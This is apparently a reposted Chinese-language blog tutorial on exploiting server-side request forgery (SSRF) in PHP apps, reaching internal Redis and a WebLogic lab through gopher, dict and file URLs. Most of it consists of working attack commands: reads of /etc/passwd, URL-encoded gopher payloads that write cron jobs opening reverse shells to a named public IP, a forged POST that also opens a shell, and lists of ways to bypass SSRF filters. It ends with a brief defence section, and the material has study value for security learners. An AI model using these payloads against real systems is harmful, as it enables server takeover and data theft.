5

SSRF漏洞的利用与攻击内网应用

 2 years ago
source link: https://qwzf.github.io/2020/03/21/SSRF%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

首发于先知社区

0x00 前言

学过CSRF漏洞后,收获颇多。同时发现SSRF漏洞和CSRF漏洞有一点点类似之处。
CSRF跨站请求伪造,基于客户端的请求伪造;SSRF服务器端请求伪造,基于服务端的请求伪造。
因为SSRF还没学习,所以还是先走上SSRF漏洞的学习之路吧!

0x01 SSRF漏洞简介

1.SSRF漏洞概述
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击)

在这里插入图片描述
在这里插入图片描述
2.SSRF漏洞产生原因
SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

3.容易出现SSRF的地方

  1. 图片加载与下载(通过URL地址加载或下载图片)
  2. 图片、文章收藏功能
  3. 网站采集、网页抓取的地方。
  4. 头像的地方。(远程加载头像)
  5. 一切要你输入网址的地方和可以输入ip的地方。
  6. 从URL关键字中寻找:sharewapurllinksrcsourcetargetu3gdisplaysourceURlimageURLdomain

4.利用SSRF可以实现的攻击

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
  2. 攻击运行在内网或本地的应用程序
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
  5. 下载内网资源(如:利用file协议读取本地文件等)
  6. 无视cdn
  7. 利用Redis未授权访问,HTTP CRLF注入实现getshell

0x02 SSRF漏洞相关函数和协议

1.函数
file_get_contents()fsockopen()curl_exec()fopen()readfile()等函数使用不当会造成SSRF漏洞
(1)file_get_contents()

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
php复制代码

file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

(2)fsockopen()

<?php 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>
php复制代码

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

(3)curl_exec()

<?php 
if (isset($_POST['url'])){
    $link = $_POST['url'];
    $curlobj = curl_init();// 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>
php复制代码

curl_exec函数用于执行指定的cURL会话

注意

1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议
php复制代码

2.协议
(1)file: 在有回显的情况下,利用 file 协议可以读取任意内容
(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s:探测内网主机存活

0x03 SSRF漏洞利用

以curl举例,查看 curl 支持的协议列表 curl -V本地利用方式
(1)使用file协议 file protocol (任意文件读取)

curl -vvv 'file:///etc/passwd'
shell复制代码

(2)使用dict协议 dict protocol (获取Redis配置信息)

curl -vvv 'dict://127.0.0.1:6379/info'
shell复制代码

(3)使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)

curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
shell复制代码

攻击机ip:192.168.201.129、121.36.67.230
攻击机:Kali、公网服务器
远程服务器ip:39.x.x.x
docker镜像:ssrf_redis
PHP版本:PHP Version 7.2.28(5.6版本测试会失败)

2、远程利用示例代码

ssrf.php

<?php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_http);
curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch); ////关闭 cURL 资源,并且释放系统资源
?>
php复制代码

post.php

<html>
<head>
    <title>post</title>
</head>
<body>
    <?php
    echo $_REQUEST[cmd];
    ?>
</body>
</html>
php复制代码
3、远程利用方式

1.利用file协议
任意文件读取

curl -v 'http://39.x.x.x:8000/ssrf.php?url=file:///etc/passwd'
shell复制代码
在这里插入图片描述
在这里插入图片描述
2.利用dict协议
(1)查看端口及端口上运行服务的版本信息
curl -v 'http://39.x.x.x:8000/ssrf.php?url=dict://127.0.0.1:22/'
shell复制代码
在这里插入图片描述
在这里插入图片描述
说明22端口开放
(2)通过dict协议getshell
有关dict协议:向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF)。
dict协议要一条一条的执行,而gopher协议执行一条命令就行了。
在这里插入图片描述
在这里插入图片描述
一条一条的执行就可以了。
3.利用gopher协议
(1)攻击内网redis并反弹shell
利用redis未授权访问攻击redis
攻击redis的exp
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
shell复制代码
bash shell.sh 39.x.x.x 6379
shell复制代码

从而捕获到数据,并进行转换
转换规则如下:
如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
\r字符串替换成%0d%0a
空白行替换为%0a

结合gopher协议攻击内网redis,使用上边捕获数据的转换结果即可,然后进行反弹shell:

curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
shell复制代码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
反弹成功
http://39.x.x.x:8000/ssrf.php是存在SSRF漏洞的Web服务
192.168.1.4是redis应用所在内网ip
121.36.67.230是公网服务器,接收反弹shell
(2)伪造post请求反弹shell
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'
shell复制代码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
反弹成功
192.168.1.5是内网Web服务,有post.php
4 .利用http/s协议
探测内网主机存活
在这里插入图片描述
在这里插入图片描述
说明内网ip为192.168.1.3的主机存活

0x04 SSRF攻击应用实战

1、gopher攻击redis

参考远程利用 3.利用gopher协议

2、weblogic ssrf攻击redis

CVE-2014-4210
下载地址:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
编译并启动环境

docker-compose build
docker-compose up -d
shell复制代码

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
1.查看端口
访问

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
//测试http://127.0.0.1:7001:将80替换成7001
php复制代码
在这里插入图片描述
在这里插入图片描述
not connect,说明80端口未开放
在这里插入图片描述
在这里插入图片描述
返回404,说明端口开放
2.探测内网主机存活
在这里插入图片描述
在这里插入图片描述
说明内网ip为192.168.1.1的主机存活
3.注入HTTP头,利用Redis反弹shell
通过ssrf探测内网中的redis服务器,发现172.22.0.2:6379可以连通
和上边的远程利用几乎一样。
在这里插入图片描述
在这里插入图片描述
将反弹shell脚本写入/etc/crontab定时任务
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
shell复制代码

进行url编码

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
shell复制代码

换行符是“\r\n”换成“%0D%0A”。将url编码后的字符串放在ssrf的域名后面,发送

在这里插入图片描述
在这里插入图片描述
反弹成功
在这里插入图片描述
在这里插入图片描述

0x05 SSRF漏洞相关绕过

1、常用绕过方法

1.@

http://[email protected]
实际上是以用户名abc连接到站点127.0.0.1,同理
http://[email protected]:8080、http://127.0.0.1#8.8.8.8
php复制代码

在对@解析域名中,不同的处理函数存在处理差异,如:
http://[email protected]@www.ccc.com
在PHP的parse_url中会识别www.ccc.com,而`libcur`l则识别为www.bbb.com
2.利用[::]
可以利用[::]来绕过localhost

http://[::]:80/  >>>  http://127.0.0.1
php复制代码

3.添加端口号

http://127.0.0.1:8080
php复制代码

4.利用短网址
站长工具短网址
百度短网址
5.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即

127.0.0.1.xip.io,可解析为127.0.0.1
php复制代码

6.利用DNS解析
在域名上设置A记录,指向127.0.1
7.利用进制转换

127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

8.句号

127。0。0。1  >>>  127.0.0.1
php复制代码

9.302跳转
使用http://tinyurl.com生成302跳转地址

2、常见限制

1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@
http://[email protected]
2.限制请求IP不为内网地址
当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址

0x06 SSRF漏洞防御

1、禁用不需要的协议(如:file:///gopher://,dict://等)。仅仅允许http和http请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP

0x07 后记

在SSRF漏洞的学习过程中,遇到了一些问题,比如反弹shell到公网服务器,折腾了许久。不过最终克服了问题。同时,通过SSRF漏洞的学习,发现SSRF漏洞果然比CSRF漏洞的利用的局限性要小,并且SSRF漏洞的对内网的一些应用危害比较大。所以在开发过程中,要尽量避免产生SSRF漏洞。

参考博客:
SSRF 漏洞学习
SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)
ssrf攻击内网应用
SSRF绕过方法总结


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK